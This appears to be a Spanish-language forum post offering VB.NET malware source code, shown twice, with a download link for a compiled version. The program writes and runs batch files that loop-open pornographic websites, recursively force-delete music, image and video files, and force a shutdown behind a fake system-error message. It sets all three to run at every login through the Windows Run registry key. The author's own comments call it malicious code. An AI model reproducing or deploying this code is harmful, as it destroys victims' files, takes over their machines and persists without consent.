Código:
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
paginasweb()
congelador()
Inicio()
apagado()
End Sub
Public Sub apagado()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub paginasweb()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
sw.WriteLine(":bucle")
sw.WriteLine("start www.pornhub.com")
sw.WriteLine("start www.youporn.com")
sw.WriteLine("start www.megaporn.com")
sw.WriteLine("goto bucle")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("c:\archivos de sistema\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub congelador()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
sw.WriteLine("@echo off")
sw.WriteLine("cd..")
sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Process.Start("c:\archivos de sistema\windows.dll.bat")
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub Inicio()
Try
'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"
'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
Dim valor As String
Dim valor2 As String
Dim valor3 As String
'aqui ponemos la ruta del programa en si
valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
clave.SetValue("Windows", valor)
valor2 = "c:\archivos de sistema\archivo.dll.bat"
clave.SetValue("paginas", valor2)
valor3 = "c:\archivos de sistema\windows.dll.bat"
clave.SetValue("documentos", valor3)
'comenzar un programa pasando una cadena con el nombre del ejecutable
System.Diagnostics.Process.Start("Regedit.exe")
Catch pollo As Exception
'si hay errores, mostrar un aviso
MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
'siempre cerrar el formulario al final
Finally
Me.Close()
End Try
End Sub
End Class
Imports Microsoft.Win32
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
paginasweb()
congelador()
Inicio()
apagado()
End Sub
Public Sub apagado()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub paginasweb()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
sw.WriteLine(":bucle")
sw.WriteLine("start www.pornhub.com")
sw.WriteLine("start www.youporn.com")
sw.WriteLine("start www.megaporn.com")
sw.WriteLine("goto bucle")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Shell("c:\archivos de sistema\archivo.dll.bat")
Me.Close()
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub congelador()
Try
Dim Archivo As System.IO.FileStream
'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
Directory.CreateDirectory("C:\archivos de sistema")
' crea un archivo vacio en la carptea antes creada
Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
Archivo.Close()
'escribimos el codigo malicioso en EL .BAT antes creado
Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
sw.WriteLine("@echo off")
sw.WriteLine("cd..")
sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
sw.Flush()
sw.Close()
'ejecuta el .bat creado anteriormente
Process.Start("c:\archivos de sistema\windows.dll.bat")
' error que pueda suceder
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Public Sub Inicio()
Try
'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"
'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
Dim valor As String
Dim valor2 As String
Dim valor3 As String
'aqui ponemos la ruta del programa en si
valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
clave.SetValue("Windows", valor)
valor2 = "c:\archivos de sistema\archivo.dll.bat"
clave.SetValue("paginas", valor2)
valor3 = "c:\archivos de sistema\windows.dll.bat"
clave.SetValue("documentos", valor3)
'comenzar un programa pasando una cadena con el nombre del ejecutable
System.Diagnostics.Process.Start("Regedit.exe")
Catch pollo As Exception
'si hay errores, mostrar un aviso
MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
'siempre cerrar el formulario al final
Finally
Me.Close()
End Try
End Sub
End Class
bueno por si no lo entienden o quieren verlo trabajar les dejo el link para que se lo descarguen y lo puedan visualizar un poco mejor
http://www.megaupload.com/?d=0CL4SXUY
pues es todo espero sus comentarios quejas dudas o sugerencias y ya me voy a dormir jeje . . . . .